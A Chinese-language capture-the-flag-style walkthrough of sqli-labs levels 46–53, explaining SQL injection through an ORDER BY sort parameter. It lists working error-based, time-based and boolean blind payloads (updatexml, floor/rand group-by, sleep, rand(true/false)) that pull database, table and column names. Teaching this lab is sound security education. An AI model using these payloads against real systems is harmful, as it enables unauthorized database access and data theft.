Less-46
进入到新的环节了,order by 后的注入,和之前的select有点不太一样,需了解进下面链接
打开这一关可以看出和之前的不同,根据提示要输入sort字符
然后我们输入?sort=1,出现下面页面
常见注入虽然都是在用户id,帐号密码等地方进行注入,但有时也可能出现注入点在order by语句之后,因为这时的SQL语句是$sql="select * from users order by $id"
那我们怎么判断其是否在order by后面,方法很简单,在参数sort后面加个asc(结果升序显示)、desc(结果降序显示),若是结果有变化就说明存在order by后的注入
接下来我们判断order by后面接的参数有没有影响,尝试注入:left(database(),1从左至右输出第一个字母和right(database(),1)从左至右输出第一个字母,发现结果没影响。说明后面参数随意,我们考虑布尔类型,此时我们可以用报错注入和延时注入
此处可以直接构造 ?sort= 后面的一个参数,我们可以有三种形式:
①直接在sort的参数里注入,?sort=(select ******)
②利用一些函数,例如rand()函数等 ?sort=rand(sql语句) Ps:此处我们可以展示一下rand(ture)和rand(false)的结果是不一样的
③利用and,例如?sort=1 and (加sql语句)
同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造
?sort=(select count(*) from (select concat_ws("^",(select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)y)
?sort=rand(updatexml(1,concat(0x7e,(select database()),0x7e),1))
?sort=1 and updatexml (1,concat (0x7e, (select database()),0x7e),1)效果是一样的:
?sort=1 and if(ascii(substr(database(),1,1))=116,0,sleep(5))
时间有明显的延迟,就不配图了......
可以看出这关方法很多,语句也有很多。
Less-47
基本与46关相同,就是order by '1',放点payload:
?sort=1' and if(length(database())=8 ,1,sleep(5))--+
?sort=1' and updatexml (1, concat(0x7e,database()) ,1) --+
?sort=1' and (select count(*) from (select concat_ws("^",(select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)y) --+
Less-48
与46关相似,但是这一关没有错误的回显,所以不能用报错注入
?sort=1 and 1=1 --+ ?sort=1 and 1=2 --+两个返回的页面一样,好像不能布尔盲注,
这里使用rand()函数来完成,先说原理:sort=rand(true)和sort=(false)出现的结果不同,基于这点就可以使用布尔型的盲注了
然后将rand()函数中的数值换成判断语句即可,放个爆字段的payload:
?sort=rand((select count(column_name) from information_schema.
columns where table_schema='security' and table_name='users')=3)
时间盲注也可:?sort=1 and if((length((select database()))=8),sleep(3),0) --+
Less-49
与47题相似但是没有报错回显,其他不再说了
Less-50
和46关思路一样,加了mysqli_multi_query()函数,还可以进行堆叠注入。
Less-51
除单引号闭合和50关基本都一样,报错、盲注、堆叠都可以
Less-52
和48关一样,盲注或堆叠。
Less-53
和49关一样,单引号闭合,时间盲注或堆叠。